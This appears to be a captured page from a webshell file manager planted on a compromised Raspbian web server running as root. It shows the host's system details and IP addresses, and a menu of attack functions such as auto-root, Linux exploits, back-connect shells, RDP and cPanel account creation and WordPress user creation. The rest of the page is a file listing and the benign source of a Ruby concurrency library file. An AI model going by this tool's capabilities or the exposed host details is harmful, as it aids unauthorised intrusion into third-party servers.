Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
concurrent /
[ HOME SHELL ]
Name
Size
Permission
Action
actor
[ DIR ]
drwxr-xr-x
atomic
[ DIR ]
drwxr-xr-x
atomic_reference
[ DIR ]
drwxr-xr-x
channel
[ DIR ]
drwxr-xr-x
collection
[ DIR ]
drwxr-xr-x
concern
[ DIR ]
drwxr-xr-x
edge
[ DIR ]
drwxr-xr-x
executor
[ DIR ]
drwxr-xr-x
synchronization
[ DIR ]
drwxr-xr-x
thread_safe
[ DIR ]
drwxr-xr-x
utility
[ DIR ]
drwxr-xr-x
actor.rb
3.53
KB
-rw-r--r--
agent.rb
21.58
KB
-rw-r--r--
array.rb
1.05
KB
-rw-r--r--
async.rb
17.7
KB
-rw-r--r--
atom.rb
8.85
KB
-rw-r--r--
atomics.rb
1.94
KB
-rw-r--r--
channel.rb
6.49
KB
-rw-r--r--
configuration.rb
6.57
KB
-rw-r--r--
constants.rb
204
B
-rw-r--r--
dataflow.rb
2.15
KB
-rw-r--r--
delay.rb
6.73
KB
-rw-r--r--
edge.rb
1.26
KB
-rw-r--r--
errors.rb
2.16
KB
-rw-r--r--
exchanger.rb
12.81
KB
-rw-r--r--
executors.rb
1.02
KB
-rw-r--r--
future.rb
4.12
KB
-rw-r--r--
hash.rb
999
B
-rw-r--r--
immutable_struct.rb
2.05
KB
-rw-r--r--
ivar.rb
7.24
KB
-rw-r--r--
lazy_register.rb
2.28
KB
-rw-r--r--
map.rb
7.72
KB
-rw-r--r--
maybe.rb
8.01
KB
-rw-r--r--
mutable_struct.rb
8.43
KB
-rw-r--r--
mvar.rb
7.19
KB
-rw-r--r--
options.rb
1.25
KB
-rw-r--r--
promise.rb
18.53
KB
-rw-r--r--
scheduled_task.rb
10.73
KB
-rw-r--r--
settable_struct.rb
3.67
KB
-rw-r--r--
synchronization.rb
1.05
KB
-rw-r--r--
timer_task.rb
11.74
KB
-rw-r--r--
tuple.rb
2.98
KB
-rw-r--r--
tvar.rb
5.91
KB
-rw-r--r--
version.rb
72
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : actor.rb
require 'concurrent/configuration' require 'concurrent/executor/serialized_execution' require 'concurrent/synchronization' require 'concurrent/edge/promises' module Concurrent # TODO https://github.com/celluloid/celluloid/wiki/Supervision-Groups ? # TODO Remote actors using DRb # TODO un/become # TODO supervision tree, pause children on error in parent, pause may need higher priority # TODO more effective executor # {include:file:doc/actor/main.md} # @api Actor # @!macro edge_warning module Actor require 'concurrent/actor/type_check' require 'concurrent/actor/errors' require 'concurrent/actor/public_delegations' require 'concurrent/actor/internal_delegations' require 'concurrent/actor/envelope' require 'concurrent/actor/reference' require 'concurrent/actor/core' require 'concurrent/actor/behaviour' require 'concurrent/actor/context' require 'concurrent/actor/default_dead_letter_handler' require 'concurrent/actor/root' require 'concurrent/actor/utils' # @return [Reference, nil] current executing actor if any def self.current Thread.current[:__current_actor__] end @root = Concurrent::Promises.delay do Core.new(parent: nil, name: '/', class: Root, initialized: future = Concurrent::Promises.resolvable_future).reference.tap do future.wait! end end # A root actor, a default parent of all actors spawned outside an actor def self.root @root.value! end # Spawns a new actor. {Concurrent::Actor::AbstractContext.spawn} allows to omit class parameter. # To see the list of available options see {Core#initialize} # @see Concurrent::Actor::AbstractContext.spawn # @see Core#initialize # @example by class and name # Actor.spawn(AdHoc, :ping1) { -> message { message } } # # @example by option hash # inc2 = Actor.spawn(class: AdHoc, # name: 'increment by 2', # args: [2], # executor: Concurrent.global_io_executor) do |increment_by| # lambda { |number| number + increment_by } # end # inc2.ask!(2) # => 4 # # @param block for context_class instantiation # @param args see {.to_spawn_options} # @return [Reference] never the actual actor def self.spawn(*args, &block) options = to_spawn_options(*args) if options[:executor] && options[:executor].is_a?(ImmediateExecutor) raise ArgumentError, 'ImmediateExecutor is not supported' end if Actor.current Core.new(options.merge(parent: Actor.current), &block).reference else root.ask([:spawn, options, block]).value! end end # as {.spawn} but it'll block until actor is initialized or it'll raise exception on error def self.spawn!(*args, &block) spawn(to_spawn_options(*args).merge(initialized: future = Concurrent::Promises.resolvable_future), &block).tap { future.wait! } end # @overload to_spawn_options(context_class, name, *args) # @param [AbstractContext] context_class to be spawned # @param [String, Symbol] name of the instance, it's used to generate the # {Core#path} of the actor # @param args for context_class instantiation # @overload to_spawn_options(opts) # see {Core#initialize} opts def self.to_spawn_options(*args) if args.size == 1 && args.first.is_a?(::Hash) args.first else { class: args[0], name: args[1], args: args[2..-1] } end end end end
Close